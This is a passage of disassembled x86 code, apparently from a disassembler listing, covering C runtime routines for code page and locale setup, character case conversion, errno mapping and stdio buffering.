mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov cx, word_4516CC[ecx+eax*2]
mov word_4EFD50[edx*2], cx
jmp short loc_424037
; ---------------------------------------------------------------------------
loc_424064: ; CODE XREF: sub_423EC0+184j
call sub_424370
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp loc_424200
; ---------------------------------------------------------------------------
loc_42407A: ; CODE XREF: sub_423EC0+87j
jmp loc_423F25
; ---------------------------------------------------------------------------
loc_42407F: ; CODE XREF: sub_423EC0+72j
lea edx, [ebp+var_20]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F14B0 ; GetCPInfo
cmp eax, 1
jnz loc_4241D2
mov [ebp+var_24], 0
jmp short loc_4240A8
; ---------------------------------------------------------------------------
loc_42409F: ; CODE XREF: sub_423EC0+1FBj
mov ecx, [ebp+var_24]
add ecx, 1
mov [ebp+var_24], ecx
loc_4240A8: ; CODE XREF: sub_423EC0+1DDj
cmp [ebp+var_24], 101h
jnb short loc_4240BD
mov edx, [ebp+var_24]
mov byte_4EFE60[edx], 0
jmp short loc_42409F
; ---------------------------------------------------------------------------
loc_4240BD: ; CODE XREF: sub_423EC0+1EFj
mov eax, [ebp+arg_0]
mov dword_4EFD4C, eax
mov dword_4EFF64, 0
cmp [ebp+var_20], 1
jbe loc_42418E
lea ecx, [ebp+var_1A]
mov [ebp+var_28], ecx
jmp short loc_4240EA
; ---------------------------------------------------------------------------
loc_4240E1: ; CODE XREF: sub_423EC0:loc_42413Aj
mov edx, [ebp+var_28]
add edx, 2
mov [ebp+var_28], edx
loc_4240EA: ; CODE XREF: sub_423EC0+21Fj
mov eax, [ebp+var_28]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42413C
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_42413C
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_424116
; ---------------------------------------------------------------------------
loc_42410D: ; CODE XREF: sub_423EC0+278j
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_424116: ; CODE XREF: sub_423EC0+24Bj
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_42413A
mov eax, [ebp+var_24]
mov cl, byte_4EFE61[eax]
or cl, 4
mov edx, [ebp+var_24]
mov byte_4EFE61[edx], cl
jmp short loc_42410D
; ---------------------------------------------------------------------------
loc_42413A: ; CODE XREF: sub_423EC0+261j
jmp short loc_4240E1
; ---------------------------------------------------------------------------
loc_42413C: ; CODE XREF: sub_423EC0+233j
; sub_423EC0+23Fj
mov [ebp+var_24], 1
jmp short loc_42414E
; ---------------------------------------------------------------------------
loc_424145: ; CODE XREF: sub_423EC0+2ACj
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_42414E: ; CODE XREF: sub_423EC0+283j
cmp [ebp+var_24], 0FFh
jnb short loc_42416E
mov ecx, [ebp+var_24]
mov dl, byte_4EFE61[ecx]
or dl, 8
mov eax, [ebp+var_24]
mov byte_4EFE61[eax], dl
jmp short loc_424145
; ---------------------------------------------------------------------------
loc_42416E: ; CODE XREF: sub_423EC0+295j
mov ecx, dword_4EFD4C
push ecx
call sub_424270
add esp, 4
mov dword_4EFF64, eax
mov dword_4EFD5C, 1
jmp short loc_424198
; ---------------------------------------------------------------------------
loc_42418E: ; CODE XREF: sub_423EC0+213j
mov dword_4EFD5C, 0
loc_424198: ; CODE XREF: sub_423EC0+2CCj
mov [ebp+var_C], 0
jmp short loc_4241AA
; ---------------------------------------------------------------------------
loc_4241A1: ; CODE XREF: sub_423EC0+2FDj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4241AA: ; CODE XREF: sub_423EC0+2DFj
cmp [ebp+var_C], 6
jnb short loc_4241BF
mov eax, [ebp+var_C]
mov word_4EFD50[eax*2], 0
jmp short loc_4241A1
; ---------------------------------------------------------------------------
loc_4241BF: ; CODE XREF: sub_423EC0+2EEj
call sub_424370
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp short loc_424200
; ---------------------------------------------------------------------------
loc_4241D2: ; CODE XREF: sub_423EC0+1D0j
cmp dword_4EF960, 0
jz short loc_4241F3
call sub_4242F0
call sub_424370
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp short loc_424200
; ---------------------------------------------------------------------------
loc_4241F3: ; CODE XREF: sub_423EC0+319j
push 19h
call sub_41FBE0
add esp, 4
or eax, 0FFFFFFFFh
loc_424200: ; CODE XREF: sub_423EC0+36j
; sub_423EC0+57j ...
mov esp, ebp
pop ebp
retn
sub_423EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424210 proc near ; CODE XREF: sub_423EC0+14p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov dword_4EF960, 0
cmp [ebp+arg_0], 0FFFFFFFEh
jnz short loc_424235
mov dword_4EF960, 1
call dword_4F14B8 ; GetOEMCP
jmp short loc_424267
; ---------------------------------------------------------------------------
loc_424235: ; CODE XREF: sub_424210+11j
cmp [ebp+arg_0], 0FFFFFFFDh
jnz short loc_42424D
mov dword_4EF960, 1
call dword_4F14B4 ; GetACP
jmp short loc_424267
; ---------------------------------------------------------------------------
loc_42424D: ; CODE XREF: sub_424210+29j
cmp [ebp+arg_0], 0FFFFFFFCh
jnz short loc_424264
mov dword_4EF960, 1
mov eax, dword_4EF984
jmp short loc_424267
; ---------------------------------------------------------------------------
loc_424264: ; CODE XREF: sub_424210+41j
mov eax, [ebp+arg_0]
loc_424267: ; CODE XREF: sub_424210+23j
; sub_424210+3Bj ...
pop ebp
retn
sub_424210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424270 proc near ; CODE XREF: sub_423EC0+161p
; sub_423EC0+2B5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_4242BA
mov eax, [ebp+var_4]
xor edx, edx
mov dl, byte_4242D4[eax]
jmp off_4242C0[edx*4]
loc_42429E: ; DATA XREF: .nsp0:off_4242C0o
mov eax, 411h
jmp short loc_4242BC
; ---------------------------------------------------------------------------
loc_4242A5: ; CODE XREF: sub_424270+27j
; DATA XREF: .nsp0:004242C4o
mov eax, 804h
jmp short loc_4242BC
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_424270+27j
; DATA XREF: .nsp0:004242C8o
mov eax, 412h
jmp short loc_4242BC
; ---------------------------------------------------------------------------
loc_4242B3: ; CODE XREF: sub_424270+27j
; DATA XREF: .nsp0:004242CCo
mov eax, 404h
jmp short loc_4242BC
; ---------------------------------------------------------------------------
loc_4242BA: ; CODE XREF: sub_424270+1Aj
; sub_424270+27j
; DATA XREF: ...
xor eax, eax
loc_4242BC: ; CODE XREF: sub_424270+33j
; sub_424270+3Aj ...
mov esp, ebp
pop ebp
retn
sub_424270 endp
; ---------------------------------------------------------------------------
off_4242C0 dd offset loc_42429E ; DATA XREF: sub_424270+27r
dd offset loc_4242A5
dd offset loc_4242AC
dd offset loc_4242B3
dd offset loc_4242BA
byte_4242D4 db 0 ; DATA XREF: sub_424270+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F0 proc near ; CODE XREF: sub_423EC0+41p
; sub_423EC0+31Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_424306
; ---------------------------------------------------------------------------
loc_4242FD: ; CODE XREF: sub_4242F0+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_424306: ; CODE XREF: sub_4242F0+Bj
cmp [ebp+var_4], 101h
jge short loc_42431B
mov ecx, [ebp+var_4]
mov byte_4EFE60[ecx], 0
jmp short loc_4242FD
; ---------------------------------------------------------------------------
loc_42431B: ; CODE XREF: sub_4242F0+1Dj
mov dword_4EFD4C, 0
mov dword_4EFD5C, 0
mov dword_4EFF64, 0
mov [ebp+var_4], 0
jmp short loc_42434B
; ---------------------------------------------------------------------------
loc_424342: ; CODE XREF: sub_4242F0+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42434B: ; CODE XREF: sub_4242F0+50j
cmp [ebp+var_4], 6
jge short loc_424360
mov eax, [ebp+var_4]
mov word_4EFD50[eax*2], 0
jmp short loc_424342
; ---------------------------------------------------------------------------
loc_424360: ; CODE XREF: sub_4242F0+5Fj
mov esp, ebp
pop ebp
retn
sub_4242F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424370 proc near ; CODE XREF: sub_423EC0+46p
; sub_423EC0:loc_424064p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, dword_4EFD4C
push ecx
call dword_4F14B0 ; GetCPInfo
cmp eax, 1
jnz loc_4245A9
mov [ebp+var_51C], 0
jmp short loc_4243B1
; ---------------------------------------------------------------------------
loc_4243A2: ; CODE XREF: sub_424370+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_4243B1: ; CODE XREF: sub_424370+30j
cmp [ebp+var_51C], 100h
jnb short loc_4243D2
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_4243A2
; ---------------------------------------------------------------------------
loc_4243D2: ; CODE XREF: sub_424370+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_4243ED
; ---------------------------------------------------------------------------
loc_4243E4: ; CODE XREF: sub_424370:loc_424436j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_4243ED: ; CODE XREF: sub_424370+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_424438
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_424416
; ---------------------------------------------------------------------------
loc_424407: ; CODE XREF: sub_424370+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_424416: ; CODE XREF: sub_424370+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_424436
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_424407
; ---------------------------------------------------------------------------
loc_424436: ; CODE XREF: sub_424370+B4j
jmp short loc_4243E4
; ---------------------------------------------------------------------------
loc_424438: ; CODE XREF: sub_424370+86j
push 0
mov eax, dword_4EFF64
push eax
mov ecx, dword_4EFD4C
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call sub_42C100
add esp, 1Ch
push 0
mov ecx, dword_4EFD4C
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, dword_4EFF64
push ecx
call sub_429750
add esp, 20h
push 0
mov edx, dword_4EFD4C
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
mov edx, dword_4EFF64
push edx
call sub_429750
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_4244E9
; ---------------------------------------------------------------------------
loc_4244DA: ; CODE XREF: sub_424370:loc_42459Fj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4244E9: ; CODE XREF: sub_424370+168j
cmp [ebp+var_51C], 100h
jnb loc_4245A4
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_424546
mov eax, [ebp+var_51C]
mov cl, byte_4EFE61[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov byte_4EFE61[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov byte_4EFD60[eax], dl
jmp short loc_42459F
; ---------------------------------------------------------------------------
loc_424546: ; CODE XREF: sub_424370+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_424592
mov edx, [ebp+var_51C]
mov al, byte_4EFE61[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov byte_4EFE61[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov byte_4EFD60[edx], cl
jmp short loc_42459F
; ---------------------------------------------------------------------------
loc_424592: ; CODE XREF: sub_424370+1EBj
mov edx, [ebp+var_51C]
mov byte_4EFD60[edx], 0
loc_42459F: ; CODE XREF: sub_424370+1D4j
; sub_424370+220j
jmp loc_4244DA
; ---------------------------------------------------------------------------
loc_4245A4: ; CODE XREF: sub_424370+183j
jmp loc_42466E
; ---------------------------------------------------------------------------
loc_4245A9: ; CODE XREF: sub_424370+20j
mov [ebp+var_51C], 0
jmp short loc_4245C4
; ---------------------------------------------------------------------------
loc_4245B5: ; CODE XREF: sub_424370:loc_424669j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4245C4: ; CODE XREF: sub_424370+243j
cmp [ebp+var_51C], 100h
jnb loc_42466E
cmp [ebp+var_51C], 41h
jb short loc_424618
cmp [ebp+var_51C], 5Ah
ja short loc_424618
mov ecx, [ebp+var_51C]
mov dl, byte_4EFE61[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov byte_4EFE61[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov byte_4EFD60[edx], cl
jmp short loc_424669
; ---------------------------------------------------------------------------
loc_424618: ; CODE XREF: sub_424370+26Bj
; sub_424370+274j
cmp [ebp+var_51C], 61h
jb short loc_42465C
cmp [ebp+var_51C], 7Ah
ja short loc_42465C
mov eax, [ebp+var_51C]
mov cl, byte_4EFE61[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov byte_4EFE61[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov byte_4EFD60[ecx], al
jmp short loc_424669
; ---------------------------------------------------------------------------
loc_42465C: ; CODE XREF: sub_424370+2AFj
; sub_424370+2B8j
mov edx, [ebp+var_51C]
mov byte_4EFD60[edx], 0
loc_424669: ; CODE XREF: sub_424370+2A6j
; sub_424370+2EAj
jmp loc_4245B5
; ---------------------------------------------------------------------------
loc_42466E: ; CODE XREF: sub_424370:loc_4245A4j
; sub_424370+25Ej
mov esp, ebp
pop ebp
retn
sub_424370 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4EFD5C, 0
jz short loc_424693
mov eax, dword_4EFD4C
jmp short loc_424695
; ---------------------------------------------------------------------------
loc_424693: ; CODE XREF: .nsp0:0042468Aj
xor eax, eax
loc_424695: ; CODE XREF: .nsp0:00424691j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246A0 proc near ; CODE XREF: sub_429CD0+Dp
; sub_429D90+Fp ...
push ebp
mov ebp, esp
cmp dword_4F0FAC, 0
jnz short loc_4246C0
push 0FFFFFFFDh
call sub_423EC0
add esp, 4
mov dword_4F0FAC, 1
loc_4246C0: ; CODE XREF: sub_4246A0+Aj
pop ebp
retn
sub_4246A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246D0 proc near ; CODE XREF: sub_41BA10+41p
; sub_41BA10+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp dword_4EFD5C, 0
jnz short loc_4246FC
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41B1F0
add esp, 0Ch
jmp loc_4247F1
; ---------------------------------------------------------------------------
loc_4246FC: ; CODE XREF: sub_4246D0+11j
push 19h
call sub_41FB40
add esp, 4
loc_424706: ; CODE XREF: sub_4246D0:loc_4247BEj
cmp [ebp+arg_8], 0
jz loc_4247C3
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4EFE61[eax]
and ecx, 4
test ecx, ecx
jz short loc_424795
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_42475A
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_4247C3
; ---------------------------------------------------------------------------
loc_42475A: ; CODE XREF: sub_4246D0+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_424793
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_4247C3
; ---------------------------------------------------------------------------
loc_424793: ; CODE XREF: sub_4246D0+B8j
jmp short loc_4247BE
; ---------------------------------------------------------------------------
loc_424795: ; CODE XREF: sub_4246D0+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_4247BE
jmp short loc_4247C3
; ---------------------------------------------------------------------------
loc_4247BE: ; CODE XREF: sub_4246D0:loc_424793j
; sub_4246D0+EAj
jmp loc_424706
; ---------------------------------------------------------------------------
loc_4247C3: ; CODE XREF: sub_4246D0+3Aj
; sub_4246D0+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_4247E4
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4247C3
; ---------------------------------------------------------------------------
loc_4247E4: ; CODE XREF: sub_4246D0+101j
push 19h
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
loc_4247F1: ; CODE XREF: sub_4246D0+27j
mov esp, ebp
pop ebp
retn
sub_4246D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424800 proc near ; CODE XREF: sub_41C150+2Ep
; sub_41DEA0+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_4248B0
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_424820
; ---------------------------------------------------------------------------
loc_424817: ; CODE XREF: sub_424800:loc_424848j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_424820: ; CODE XREF: sub_424800+15j
cmp [ebp+var_4], 2Dh
jnb short loc_42484A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, dword_4517B8[eax*8]
jnz short loc_424848
call sub_4248A0
mov edx, [ebp+var_4]
mov ecx, dword_4517BC[edx*8]
mov [eax], ecx
jmp short loc_42488D
; ---------------------------------------------------------------------------
loc_424848: ; CODE XREF: sub_424800+33j
jmp short loc_424817
; ---------------------------------------------------------------------------
loc_42484A: ; CODE XREF: sub_424800+24j
cmp [ebp+arg_0], 13h
jb short loc_424863
cmp [ebp+arg_0], 24h
ja short loc_424863
call sub_4248A0
mov dword ptr [eax], 0Dh
jmp short loc_42488D
; ---------------------------------------------------------------------------
loc_424863: ; CODE XREF: sub_424800+4Ej
; sub_424800+54j
cmp [ebp+arg_0], 0BCh
jb short loc_424882
cmp [ebp+arg_0], 0CAh
ja short loc_424882
call sub_4248A0
mov dword ptr [eax], 8
jmp short loc_42488D
; ---------------------------------------------------------------------------
loc_424882: ; CODE XREF: sub_424800+6Aj
; sub_424800+73j
call sub_4248A0
mov dword ptr [eax], 16h
loc_42488D: ; CODE XREF: sub_424800+46j
; sub_424800+61j ...
mov esp, ebp
pop ebp
retn
sub_424800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248A0 proc near ; CODE XREF: sub_41BDF0:loc_41C0C2p
; sub_41DD30:loc_41DD8Bp ...
push ebp
mov ebp, esp
call sub_423CF0
add eax, 8
pop ebp
retn
sub_4248A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248B0 proc near ; CODE XREF: sub_41DEA0+4Ap
; sub_41F570+3Cp ...
push ebp
mov ebp, esp
call sub_423CF0
add eax, 0Ch
pop ebp
retn
sub_4248B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248D0 proc near ; CODE XREF: sub_41BDF0+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4EF974, 0
jnz short loc_4248F7
cmp [ebp+arg_0], 61h
jl short loc_4248F2
cmp [ebp+arg_0], 7Ah
jg short loc_4248F2
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_4248F2: ; CODE XREF: sub_4248D0+11j
; sub_4248D0+17j
mov eax, [ebp+arg_0]
jmp short loc_42495F
; ---------------------------------------------------------------------------
loc_4248F7: ; CODE XREF: sub_4248D0+Bj
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_424929
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_4], 1
jmp short loc_424930
; ---------------------------------------------------------------------------
loc_424929: ; CODE XREF: sub_4248D0+39j
mov [ebp+var_4], 0
loc_424930: ; CODE XREF: sub_4248D0+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_424970
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_424951
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_42495C
; ---------------------------------------------------------------------------
loc_424951: ; CODE XREF: sub_4248D0+73j
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_42495C: ; CODE XREF: sub_4248D0+7Fj
mov eax, [ebp+arg_0]
loc_42495F: ; CODE XREF: sub_4248D0+25j
mov esp, ebp
pop ebp
retn
sub_4248D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424970 proc near ; CODE XREF: sub_4248D0+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4EF974, 0
jnz short loc_42499C
cmp [ebp+arg_0], 61h
jl short loc_424994
cmp [ebp+arg_0], 7Ah
jg short loc_424994
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_424994: ; CODE XREF: sub_424970+13j
; sub_424970+19j
mov eax, [ebp+arg_0]
jmp loc_424A97
; ---------------------------------------------------------------------------
loc_42499C: ; CODE XREF: sub_424970+Dj
cmp [ebp+arg_0], 100h
jge short loc_4249E3
cmp dword_4516A8, 1
jle short loc_4249C1
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_10], eax
jmp short loc_4249D5
; ---------------------------------------------------------------------------
loc_4249C1: ; CODE XREF: sub_424970+3Cj
mov edx, [ebp+arg_0]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_4249D5: ; CODE XREF: sub_424970+4Fj
cmp [ebp+var_10], 0
jnz short loc_4249E3
mov eax, [ebp+arg_0]
jmp loc_424A97
; ---------------------------------------------------------------------------
loc_4249E3: ; CODE XREF: sub_424970+33j
; sub_424970+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_424A2C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_424A3D
; ---------------------------------------------------------------------------
loc_424A2C: ; CODE XREF: sub_424970+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_424A3D: ; CODE XREF: sub_424970+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, dword_4EF974
push edx
call sub_429750
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_424A71
mov eax, [ebp+arg_0]
jmp short loc_424A97
; ---------------------------------------------------------------------------
loc_424A71: ; CODE XREF: sub_424970+FAj
cmp [ebp+var_4], 1
jnz short loc_424A81
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_424A97
; ---------------------------------------------------------------------------
loc_424A81: ; CODE XREF: sub_424970+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_424A97: ; CODE XREF: sub_424970+27j
; sub_424970+6Ej ...
mov esp, ebp
pop ebp
retn
sub_424970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424AA0 proc near ; CODE XREF: sub_41C1C0+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_424AA9: ; CODE XREF: sub_424AA0+31j
cmp [ebp+arg_0], 0
jnz short loc_424ACD
push offset dword_437514
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_424ACD
int 3 ; Trap to Debugger
loc_424ACD: ; CODE XREF: sub_424AA0+Dj
; sub_424AA0+2Aj
xor eax, eax
test eax, eax
jnz short loc_424AA9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_42C930
add esp, 4
test eax, eax
jnz short loc_424AF3
xor eax, eax
jmp loc_424BF0
; ---------------------------------------------------------------------------
loc_424AF3: ; CODE XREF: sub_424AA0+4Aj
cmp [ebp+var_4], offset dword_451148
jnz short loc_424B05
mov [ebp+var_8], 0
jmp short loc_424B1E
; ---------------------------------------------------------------------------
loc_424B05: ; CODE XREF: sub_424AA0+5Aj
cmp [ebp+var_4], offset dword_451168
jnz short loc_424B17
mov [ebp+var_8], 1
jmp short loc_424B1E
; ---------------------------------------------------------------------------
loc_424B17: ; CODE XREF: sub_424AA0+6Cj
xor eax, eax
jmp loc_424BF0
; ---------------------------------------------------------------------------
loc_424B1E: ; CODE XREF: sub_424AA0+63j
; sub_424AA0+75j
mov ecx, dword_4EF8EC
add ecx, 1
mov dword_4EF8EC, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_424B43
xor eax, eax
jmp loc_424BF0
; ---------------------------------------------------------------------------
loc_424B43: ; CODE XREF: sub_424AA0+9Aj
mov ecx, [ebp+var_8]
cmp dword_4EF964[ecx*4], 0
jnz short loc_424BAA
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_418EF0
add esp, 10h
mov edx, [ebp+var_8]
mov dword_4EF964[edx*4], eax
mov eax, [ebp+var_8]
cmp dword_4EF964[eax*4], 0
jnz short loc_424BAA
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
